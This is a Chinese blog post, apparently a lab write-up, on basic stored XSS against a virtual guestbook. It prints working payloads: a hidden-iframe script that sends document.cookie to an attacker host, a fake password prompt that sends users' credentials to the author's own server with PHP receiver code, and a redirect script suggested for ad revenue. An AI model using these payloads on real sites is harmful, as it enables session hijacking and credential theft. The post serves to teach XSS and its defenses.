跨站脚本攻击基础

https://blog.csdn.net/u012763794/article/details/45869479

实验来源:合天网安实验室

实验目的什么的就自己过去看啊

这里把预备知识粘贴过来吧

预备知识

      1)跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。故将跨站脚本攻击缩写为XSS。

      2)XSS工作原理

      恶意web用户将代码植入到提供给其它用户使用的页面中,如果程序没有经过过滤或者过滤敏感字符不严密就直接输出或者写入数据库。合法用户在访问这些页面的时候,程序将数据库里面的信息输出,这些恶意代码就会被执行。

      3)XSS漏洞的分类

      1.本地利用漏洞,这种漏洞存在于页面中客户端脚本自身;

      2.反射式漏洞,这种漏洞和类型A有些类似,不同的是Web客户端使用Server端脚本生成页面为用户提供数据时,如果未经验证的用户数据被包含在页面中而未经HTML实体编码,客户端代码便能够注入到动态页面中;

      3.存储式漏洞,该类型是应用最为广泛而且有可能影响到Web服务器自身安全的漏洞,骇客将攻击脚本上传到Web服务器上,使得所有访问该页面的用户都面临信息泄漏的可能,其中也包括了Web服务器的管理员。

      4)XSS攻击的危害

      1.盗取用户cookie;

      2.盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号;

      3.控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力;

      4.盗窃企业重要的具有商业价值的资料;

      5.强制发送电子邮件;

      6.网站挂马;

实验环境

     1)合天提供虚拟机里面的留言系统

实验一

   在留言内容中输入 <script>alert("XSS");</script>

跨站脚本攻击基础

跨站脚本攻击基础

跨站脚本攻击基础

分析:首先js的alert()大家都知道吧,功能就是弹出一个对话框,这个留言系统没有任何防御,比如过滤或转义“<>”,或<script>等字符,我们填完上上图的内容按下留言按钮,留言内容就会一字不漏,原模原样地插进数据库,SQL语句或许是这样的INSERT INTO `表名` (`name`,`qq`,`mail`,`content`) VALUES ('test','上面的QQ号','上面的邮箱','<script>alert("XSS")</script>');跟着接下来回到留言板的首页,<script>alert("XSS")</script>就会一字不漏地被后台的脚本语言填在了内容旁边的td标签里面了,这时alert函数就会触发,所以上图就会有个对话框显示XSS咯

任务一

跨站脚本攻击的危害不包括下列哪项:  【单选题】

【A】盗取其它用户的cookie;【B】盗取web系统的登录帐号;【C】即使不访问危害页面也能读取用户的cookie; 【D】获取访问用户的帐户信息;选项A,B,D应该都是利用cookie的,但一般cookie都是加密的,没那么容易的,当要解密应该还是可以的,alert(document.cookie)就可以将cookie一对话框的形式显示在你的面前。对于C选项,别人不访问你xss过的页面,又没登陆什么的,连cookie都没有,别说读取cookie了

实验二

1.在留言内容中输入 <iframe src="http://www.heetian.com"></iframe>,结果如下图,应为合天的虚拟机不能联网,所以..(iframe 元素会创建包含另外一个文档的内联框架(即行内框架),框架内就会显示http://www.heetian.com网页的内容,跟你新开一个窗口访问http://www.heetian.com的效果是一样的,就行当于一个屋子有很多个窗口,你不仅可以看到屋内的东西,你还可以通过窗口看到外面的东西)

跨站脚本攻击基础

2.如果我们输入 <iframe src="http://www.heetian.com" height="0" width="0"></iframe>,因为框架的高度和宽度都设置为0,所以我们是看不见的

跨站脚本攻击基础但我们还是可以看到一个小点跨站脚本攻击基础

任务二

在本实验中,在提交内容中增加:<iframe src=http://www.baidu.com width="0" height="0"></iframe>,其目的是:

【A】在访问实验的显示时,自动会访问www.baidu.com页面,而且用户在页面上查觉不到;【B】读取访问www.baidu.com页面的cookie;【C】在实验的显示内容页面中加入www.baidu.com页面,而且访问用户能够看到;【D】盗取访问www.baidu.com的cookie;A:应为高度和宽度都为0,所以用户察觉不到B:这里只是在iframe里面访问百度而已,并没有读取cookieC:原因与A相同D:原因与B相同

实验三

1.在留言内容中输入<script>document.write(document.cookie)</script>

<script>alert(document.cookie)</script>的区别是前者是将cookie填进网页中,而alert则是以对话框的形式显示cookie

没用管理员账号登陆:

跨站脚本攻击基础

用了管理员账号登陆:(账号密码暴露出来的吧,而且没加密过的哦)

跨站脚本攻击基础

2.既然这样我们是不是可以通过get方式将cookie传递给我们制作好接收cookie的网页呢

在此虚拟机中我们需要这样:

跨站脚本攻击基础

跨站脚本攻击基础

搭建IIS服务器过程中应注意如下几点:

1)在Web服务扩展中允许Active Server Pages服务

跨站脚本攻击基础

  2)默认网站-属性-文档中添加index.asp内容页。

跨站脚本攻击基础

跨站脚本攻击基础

 3)在:C:\tools\跨站脚本攻击\中的cookies文件夹属性-安全-组或用户名称(G)-添加-高级-立即查找中找到IUSR_BJHIT-YXI7NEFU8用户,选择并确定

跨站脚本攻击基础

 4)给IUSR_BJHIT-YXI7NEFU8用户写入权限

跨站脚本攻击基础

返回http://10.1.1.2页面,继续添加留言,包含以下内容:

      <script>document.write("<iframe width=0 height=0 src='http://10.1.1.78/cookie.asp?cookie="+document.cookie+"'></iframe>");</script>


,之后回到10.1.1.78,你会看到一条cookie信息,每刷新一下留言系统,就会增加一条

跨站脚本攻击基础

分析:一开始我就有一点疑问:咦,怎么那么长呢,想当然的以为可以简化,于是改写成<iframe width=0 height=0 src='http://10.1.1.78/cookie.asp?cookie="+document.cookie+"'></iframe>,问题来了,你打开10.1.1.78,你会发现一条记录显示“document.cookie”,如上图的ID号为1, 3 ,5; 这语句里面有个document.cookie,这是js的东西,所以必须有  <script>  </script>标签包围着,不然就原模原样的传到我们10.1.1.78去了咯,假如我加上 <script>  </script>呢,也就是 <script> <iframe width=0 height=0 src='http://10.1.1.78/cookie.asp?cookie="+document.cookie+"'></iframe> </script>,这种想一想就不行了,首先 <script>  </script>里面放的是js代码,现在里面放的是一个iframe便签,你叫解析器怎么解析,不但没有任何作用,还会报错跨站脚本攻击基础,所以要用document.write将<iframe width=0 height=0 src='http://10.1.1.78/cookie.asp?cookie="+document.cookie+"'></iframe>写进去,当然document.cookie已经是获取cookie后的值了;

任务三

从本实验来看,下列哪种说法是错误的:  【单选题】 

【A】10.1.1.2服务器提供web服务,同时具有XSS缺陷;【B】攻击者通过攻击10.1.1.2服务器,获取该服务器相关敏感信息或数据;【C】document.write("<iframe width=0 height=0 src='http://10.1.1.78/cookie.asp?cookie="+document.cookie+"'></iframe>");主要作用是获取用户cookie后并传递给用户操作机;【D】一般情况下,XSS攻击对服务器安全性并没有影响;A:我们不是在做XSS攻击实验攻击10.1.1.12吗跨站脚本攻击基础B:一般是获取用户的cookie,获取用户的敏感信息啊,给用户造成困扰啊等,当然获取了管理员的账号密码那就是后话了跨站脚本攻击基础C:通过get方法将用户的cookie传到我们做好接受储存的网址D:XSS在客户端运行,基本不会对本服务器的安全造成影响,但是一些访问量比较大的网站,可利用他的xss漏洞攻击(如果有的话)去攻击一些小网站就可以实现DDosde的效果了


思考与总结

首先这个实验的实验指导书很详细,基本每一步都有详细说明,完成实验根本没问题,跟着实验指导书做完就完了不去管他那是没什么用的,只是过了一把瘾而已,我做完后的感觉就是这样,于是就写了这篇文章,

下面我就用4个w一个h总结一下

what

1.什么是xss呢 ?

xss就是前端漏洞的攻击,一般分为反射型和储存型,合天的实验书还有个本地型的,它的核心是js,是由于Web应用程序对用户的输入过滤不足所造成的,危害:用户cookie被窃取,会话劫持,网页挂马等。

2.我们能从本实验的留言系统获取哪些信息?

用户的cookie,网站的访问量(有js统计访问量的代码吧)暂时只想到这些

3.我们还能怎么攻击这个网站呢

(1)我们可以在内容输入

[javascript] view plain copy
  1. <script>  
  2. var a = prompt("请输入你的密码以再次验证你的身份");  
  3. alert(a);  
  4. </script>  
先来测试一下
跨站脚本攻击基础我用123456测试一下,跨站脚本攻击基础,既然可以我们就可以利用实验3的知识啦

下面的命名还是规范点好跨站脚本攻击基础

[javascript] view plain copy
  1. <script>  
  2. var password = prompt("请输入你的密码以再次验证你的身份");  
  3. var username = prompt("恭喜你密码验证成功,请输入你的用户名以防止你在本站单击了记住用户名而暴力登陆登陆成功的");  
  4. document.write("<iframe width=0 height=0 src='http://我们的网址/password.php?username="+username+"&password="+password+"'></iframe>");  
  5.   
  6. alert("恭喜你,验证成功,畅快的留言吧");  
  7. </script>  
哈哈,有点贱啊跨站脚本攻击基础,不过没那么容易上钩吧,

分析:prompt函数用于显示可提示用户进行输入的对话框,返回用户输入的值,后面我们就用我们写好的password.php来接收用户名和密码,那边的话可以这样写

$username = $_GET['username'];
$password = $_GET['password'];


sql语句就可以这样啦,为了便于查找排序,数据库可以设置一个时间的字段
INSERT INTO `表名` (`username`,`password`) VALUES ('$username','$password');

(2)我们还可以输入

[javascript] view plain copy
  1. <script>location.href="http://baidu.com"</script>  
就是跳转啦,可以增加我们网站的访问量耶,还可以跳到我们买广告的页面,收入就有了

why:因为网站没过滤或者过滤不足,将用户的输入插进数据库,跟着读取出来显示在网页上就成了一段可执行的js代码了,可以说基本前端都让别人写了跨站脚本攻击基础

who:谁会利用这些漏洞,或者去发现挖掘呢,一些白帽啊,一些刚学了点知识的学生等,还有的话可能就是黑色产业了

when:

  1. 什么时候会出现这些漏洞呢,一些刚入门的后台程序员由于安全意识和知识不足,没有或基本没有过滤。
  2. 那攻击什么时候会奏效呢?如果是储存型的话就是用户访问已被xss的网站时就被攻击,反射型的话只是临时的东西应该不会对用户有什么影响,不过还是要比在F12开发者工具里面修改代码好玩些
how:
  1. 怎么去攻击呢
(1)最笨的办法应该就是利用xss cheat sheet,从里面的测试用例一个一个尝试??跨站脚本攻击基础

(2)暂时小白只想到这个,当然《XSS跨站脚本攻击与防御》里面讲了很多构造XSS的方法,比如利用html标签的属性来执行js,利用回车空格或tab键啊,对标签属性值转码,产生自己的事件啊,利用字符编码啊等等我就不抄上来了,毕竟不是我的,等我以后自己实验总结出来的我会详细拿出来给大家分享的

  1. 怎么去防御呢
(1)对了写后台的程序员当然要写个过滤的函数或者叫程序啦,好像很多语言都有应对xss的函数,看过书,有个叫XSS Filter的东西,就是一个过滤器,基本上可以抵御绝代多数的xss攻击了,根据最新的xss不断完善它咯

(2)还有就是要对cookie等前端可获取的各种信息要加密,最好安全一点的,让别人得到了cookie也解密不出来

暂时只想到这些跨站脚本攻击基础我会努力的。